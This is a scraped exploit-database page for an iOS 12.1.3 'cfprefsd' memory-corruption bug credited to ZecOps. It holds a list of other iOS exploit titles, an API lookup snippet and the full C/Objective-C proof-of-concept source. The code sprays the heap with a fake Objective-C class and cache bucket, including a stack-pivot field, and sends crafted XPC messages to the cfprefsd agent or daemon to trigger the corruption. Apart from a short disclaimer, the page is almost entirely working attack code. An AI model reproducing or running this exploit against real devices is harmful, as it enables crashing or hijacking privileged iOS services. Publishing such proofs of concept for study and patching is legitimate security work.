Menu

Improved exploit search engine. Try it out

"iOS 12.1.3 - 'cfprefsd' Memory Corruption"

Author

ZecOps

Platform

ios

Release date

2019-05-06

Release Date Title Type Platform Author
2019-05-23 "Visual Voicemail for iPhone - IMAP NAMESPACE Processing Use-After-Free" dos ios "Google Security Research"
2019-05-06 "iOS 12.1.3 - 'cfprefsd' Memory Corruption" dos ios ZecOps
2018-11-06 "FaceTime - RTP Video Processing Heap Corruption" dos ios "Google Security Research"
2018-01-08 "Photos in Wifi 1.0.1 - Path Traversal" webapps ios Vulnerability-Lab
2017-02-21 "Lock Photos Album&Videos Safe 4.3 - Directory Traversal" webapps ios Vulnerability-Lab
2017-02-20 "Album Lock 4.0 iOS - Directory Traversal" webapps ios Vulnerability-Lab
2016-04-25 "C/C++ Offline Compiler and C For OS - Persistent Cross-Site Scripting" webapps ios Vulnerability-Lab
2016-01-27 "Secure Item Hub 1.0 iOS - Multiple Vulnerabilities" webapps ios Vulnerability-Lab
2015-09-28 "Photos in Wifi 1.0.1 iOS - Arbitrary File Upload" webapps ios Vulnerability-Lab
2015-09-28 "My.WiFi USB Drive 1.0 iOS - Local File Inclusion" webapps ios Vulnerability-Lab
2015-09-22 "Air Drive Plus 2.4 - Arbitrary File Upload" webapps ios Vulnerability-Lab
2015-08-12 "Printer Pro 5.4.3 IOS - Persistent Cross-Site Scripting" webapps ios "Taurus Omar"
2015-07-05 "WK UDID 1.0.1 iOS - Command Injection" webapps ios Vulnerability-Lab
2016-02-22 "InstantCoder 1.0 iOS - Multiple Vulnerabilities" webapps ios Vulnerability-Lab
2015-06-06 "WiFi HD 8.1 - Directory Traversal / Denial of Service" webapps ios "Wh1t3Rh1n0 (Michael Allen)"
2015-05-18 "Wireless Photo Transfer 3.0 iOS - Local File Inclusion" webapps ios Vulnerability-Lab
2015-05-07 "Album Streamer 2.0 iOS - Directory Traversal" webapps ios Vulnerability-Lab
2015-05-06 "PDF Converter & Editor 2.1 iOS - Local File Inclusion" webapps ios Vulnerability-Lab
2015-05-06 "vPhoto-Album 4.2 iOS - Local File Inclusion" webapps ios Vulnerability-Lab
2015-05-04 "PhotoWebsite 3.1 iOS - Local File Inclusion" webapps ios Vulnerability-Lab
2015-04-21 "Photo Manager Pro 4.4.0 iOS - Code Execution" webapps ios Vulnerability-Lab
2015-04-21 "Mobile Drive HD 1.8 - Local File Inclusion" webapps ios Vulnerability-Lab
2015-04-21 "Photo Manager Pro 4.4.0 iOS - Local File Inclusion" webapps ios Vulnerability-Lab
2015-04-21 "Wifi Drive Pro 1.2 iOS - Local File Inclusion" webapps ios Vulnerability-Lab
2015-01-13 "Foxit MobilePDF 4.4.0 iOS - Multiple Vulnerabilities" webapps ios Vulnerability-Lab
2014-10-27 "Folder Plus 2.5.1 iOS - Persistent Cross-Site Scripting" webapps ios Vulnerability-Lab
2014-10-27 "WebDisk+ 2.1 iOS - Code Execution" webapps ios Vulnerability-Lab
2014-10-22 "File Manager 4.2.10 iOS - Code Execution" webapps ios Vulnerability-Lab
2014-10-22 "iFunBox Free 1.1 iOS - Local File Inclusion" webapps ios Vulnerability-Lab
2014-10-15 "Indeed Job Search 2.5 iOS API - Multiple Vulnerabilities" webapps ios Vulnerability-Lab
Release Date Title Type Platform Author
2019-05-06 "iOS 12.1.3 - 'cfprefsd' Memory Corruption" dos ios ZecOps
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/46803/?format=json')
                                                {"url": "https://www.nmmapper.com/api/exploitdetails/46803/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/46803/41231/ios-1213-cfprefsd-memory-corruption/download/", "exploit_id": "46803", "exploit_description": "\"iOS 12.1.3 - 'cfprefsd' Memory Corruption\"", "exploit_date": "2019-05-06", "exploit_author": "ZecOps", "exploit_type": "dos", "exploit_platform": "ios", "exploit_port": null}
                                            

For full documentation follow the link above

blog comments powered by Disqus

Browse exploit DB API Browse

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
// (c) 2019 ZecOps, Inc. - https://www.zecops.com - Find Attackers' Mistakes
// Intended only for educational and defensive purposes only. 
// Use at your own risk.
 
#include <xpc/xpc.h>
#import <pthread.h>
#include <mach/mach.h>
#include <mach/task.h>
#include <dlfcn.h>
#include <mach-o/dyld_images.h>
#include <objc/runtime.h>
 
#define AGENT 1
 
#define FILL_DICT_COUNT 0x600
#define FILL_COUNT 0x1000
#define FREE_COUNT 0x2000
#define FILL_SIZE (0xc0)
 
int need_stop = 0;
 
struct heap_spray {
    void* fake_objc_class_ptr;
    uint32_t r10;
    uint32_t r4;
    void* fake_sel_addr;
    uint32_t r5;
    uint32_t r6;
    uint64_t cmd;
    uint8_t pad1[0x3c];
    uint32_t stack_pivot;
    struct fake_objc_class_t {
        char pad[0x8];
        void* cache_buckets_ptr;
        uint32_t cache_bucket_mask;
    } fake_objc_class;
    struct fake_cache_bucket_t {
        void* cached_sel;
        void* cached_function;
    } fake_cache_bucket;
    char command[32];
};
 
void fill_once(){
     
#if AGENT
    xpc_connection_t client = xpc_connection_create_mach_service("com.apple.cfprefsd.agent",0,0);
#else
    xpc_connection_t client = xpc_connection_create_mach_service("com.apple.cfprefsd.daemon",0,XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
#endif
     
    xpc_connection_set_event_handler(client, ^void(xpc_object_t response) {
        xpc_type_t t = xpc_get_type(response);
        if (t == XPC_TYPE_ERROR){
            printf("err: %s\n", xpc_dictionary_get_string(response, XPC_ERROR_KEY_DESCRIPTION));
            need_stop = 1 ;
        }
        //printf("received an event\n");
    });
     
    xpc_connection_resume(client);
    xpc_object_t main_dict = xpc_dictionary_create(NULL, NULL, 0);
     
    xpc_object_t arr = xpc_array_create(NULL, 0);
     
    xpc_object_t spray_dict = xpc_dictionary_create(NULL, NULL, 0);
    xpc_dictionary_set_int64(spray_dict, "CFPreferencesOperation", 8);
    xpc_dictionary_set_string(spray_dict, "CFPreferencesDomain", "xpc_str_domain");
    xpc_dictionary_set_string(spray_dict, "CFPreferencesUser", "xpc_str_user");
     
    char key[100];
    char value[FILL_SIZE];
    memset(value, "A", FILL_SIZE);
    *((uint64_t *)value) = 0x4142010180202020;
    //*((uint64_t *)value) = 0x180202020;
    value[FILL_SIZE-1]=0;
    for (int i=0; i<FILL_DICT_COUNT; i++) {
        sprintf(key, "%d",i);
        xpc_dictionary_set_string(spray_dict, key, value);
    }
      
    //NSLog(@"%@", spray_dict);
    for (uint64_t i=0; i<FILL_COUNT; i++) {
        xpc_array_append_value(arr, spray_dict);
    }
     
    xpc_dictionary_set_int64(main_dict, "CFPreferencesOperation", 5);
     
    xpc_dictionary_set_value(main_dict, "CFPreferencesMessages", arr);
 
    void* heap_spray_target_addr = (void*)0x180202000;
    struct heap_spray* map = mmap(heap_spray_target_addr, 0x1000, 3, MAP_ANON|MAP_PRIVATE|MAP_FIXED, 0, 0);
    memset(map, 0, 0x1000);
    struct heap_spray* hs = (struct heap_spray*)((uint64_t)map + 0x20);
    //hs->null0 = 0;
    hs->cmd = -1;
    hs->fake_objc_class_ptr = &hs->fake_objc_class;
    hs->fake_objc_class.cache_buckets_ptr = &hs->fake_cache_bucket;
    hs->fake_objc_class.cache_bucket_mask = 0;
    hs->fake_sel_addr = &hs->fake_cache_bucket.cached_sel;
    // nasty hack to find the correct selector address
    hs->fake_cache_bucket.cached_sel = 0x7fff00000000 + (uint64_t)NSSelectorFromString(@"dealloc");
     
    hs->fake_cache_bucket.cached_function = 0xdeadbeef;
    size_t heap_spray_pages = 0x40000;
    size_t heap_spray_bytes = heap_spray_pages * 0x1000;
    char* heap_spray_copies = malloc(heap_spray_bytes);
    for (int i = 0; i < heap_spray_pages; i++){
    memcpy(heap_spray_copies+(i*0x1000), map, 0x1000);
    }
    xpc_dictionary_set_data(main_dict, "heap_spray", heap_spray_copies, heap_spray_bytes);
 
    //NSLog(@"%@", main_dict);
    xpc_connection_send_message(client, main_dict);
    printf("fill once\n");
    xpc_release(main_dict);
}
 
void trigger_vul(){
    #if AGENT
        printf("AGENT\n");
        xpc_connection_t conn = xpc_connection_create_mach_service("com.apple.cfprefsd.agent",0,0);
    #else
        printf("DAEMON\n");
        xpc_connection_t conn = xpc_connection_create_mach_service("com.apple.cfprefsd.daemon",0,XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
    #endif
        xpc_connection_set_event_handler(conn, ^(xpc_object_t response) {
            xpc_type_t t = xpc_get_type(response);
            if (t == XPC_TYPE_ERROR){
                printf("err: %s\n", xpc_dictionary_get_string(response, XPC_ERROR_KEY_DESCRIPTION));
                need_stop = 1 ;
            }
        });
        xpc_connection_resume(conn);
         
        xpc_object_t hello = xpc_dictionary_create(NULL, NULL, 0);
        xpc_object_t arr = xpc_array_create(NULL, 0);
     
        xpc_object_t arr_free = xpc_dictionary_create(NULL, NULL, 0);
        xpc_dictionary_set_int64(arr_free, "CFPreferencesOperation", 4);
        xpc_array_append_value(arr, arr_free);
        for (int i=0; i<FREE_COUNT; i++) {
            xpc_object_t arr_elem1 = xpc_dictionary_create(NULL, NULL, 0);
            xpc_dictionary_set_int64(arr_elem1, "CFPreferencesOperation", 20);
            xpc_array_append_value(arr, arr_elem1);
        }
        //printf("%p, %p\n", arr_elem1, hello);
        xpc_dictionary_set_int64(hello, "CFPreferencesOperation", 5);
        xpc_dictionary_set_value(hello, "CFPreferencesMessages", arr);
 
        //NSLog (@"%@", hello);
        fill_once();
        xpc_connection_send_message(conn, hello);
        NSLog(@" trigger vuln");
        xpc_release(hello);
}
 
int main(int argc, const char * argv[]) {
 
    pthread_t fillthread1,triger_thread;
    NSLog(@"start to trigger..");
    trigger_vul();
 
    return 0;
}